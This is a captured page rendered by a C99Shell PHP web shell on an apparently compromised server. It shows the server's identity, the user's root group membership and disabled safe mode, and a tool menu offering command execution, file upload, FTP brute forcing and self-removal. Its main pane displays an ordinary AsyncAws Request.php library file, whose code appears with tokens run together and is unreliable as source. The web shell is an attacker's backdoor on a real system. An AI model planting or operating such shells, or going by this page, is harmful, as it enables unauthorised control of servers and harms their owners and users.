!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Request.php (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace AsyncAws\Core;

use 
AsyncAws\Core\Exception\LogicException;
use 
AsyncAws\Core\Stream\RequestStream;

/**
 * Representation of an HTTP Request.
 *
 * @author Jérémy Derussé <jeremy@derusse.com>
 *
 * @internal
 */
class Request
{
    private 
$method;

    private 
$uri;

    private 
$headers;

    private 
$body;

    private 
$query;

    private 
$endpoint;

    private 
$parsed;

    
/**
     * @param string[] $query
     * @param string[] $headers
     */
    
public function __construct(string $methodstring $uri, array $query, array $headersRequestStream $body)
    {
        
$this->method $method;
        
$this->uri $uri;
        
$this->headers = [];
        foreach (
$headers as $key => $value) {
            
$this->headers[strtolower($key)] = (string) $value;
        }
        
$this->body $body;
        
$this->query $query;
        
$this->endpoint '';
    }

    public function 
getMethod(): string
    
{
        return 
$this->method;
    }

    public function 
setMethod(string $method): void
    
{
        
$this->method $method;
    }

    public function 
getUri(): string
    
{
        return 
$this->uri;
    }

    public function 
hasHeader($name): bool
    
{
        return 
\array_key_exists(strtolower($name), $this->headers);
    }

    public function 
setHeader($name, ?string $value): void
    
{
        
$this->headers[strtolower($name)] = $value;
    }

    public function 
getHeaders(): array
    {
        return 
$this->headers;
    }

    public function 
getHeader(string $name): ?string
    
{
        return 
$this->headers[strtolower($name)] ?? null;
    }

    public function 
removeHeader(string $name): void
    
{
        unset(
$this->headers[strtolower($name)]);
    }

    public function 
getBody(): RequestStream
    
{
        return 
$this->body;
    }

    public function 
setBody(RequestStream $body)
    {
        
$this->body $body;
    }

    public function 
hasQueryAttribute($name): bool
    
{
        return 
\array_key_exists($name$this->query);
    }

    public function 
removeQueryAttribute($name): void
    
{
        unset(
$this->query[$name]);
        
$this->endpoint '';
    }

    public function 
setQueryAttribute($name$value): void
    
{
        
$this->query[$name] = $value;
        
$this->endpoint '';
    }

    public function 
getQueryAttribute(string $name): ?string
    
{
        return 
$this->query[$name] ?? null;
    }

    public function 
getQuery(): array
    {
        return 
$this->query;
    }

    public function 
getEndpoint(): string
    
{
        if (empty(
$this->endpoint)) {
            
$this->endpoint $this->parsed['scheme'] . '://' $this->parsed['host'] . (isset($this->parsed['port']) ? ':' $this->parsed['port'] : '') . $this->uri . ($this->query ? (false === strpos($this->uri'?') ? '?' '&') . http_build_query($this->query) : '');
        }

        return 
$this->endpoint;
    }

    public function 
setEndpoint(string $endpoint): void
    
{
        if (!empty(
$this->endpoint)) {
            throw new 
LogicException('Request::$endpoint cannot be changed after it has a value.');
        }

        
$this->endpoint $endpoint;
        
$this->parsed parse_url($this->endpoint);
        
parse_str($this->parsed['query'] ?? ''$this->query);
        
$this->uri $this->parsed['path'] ?? '/';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--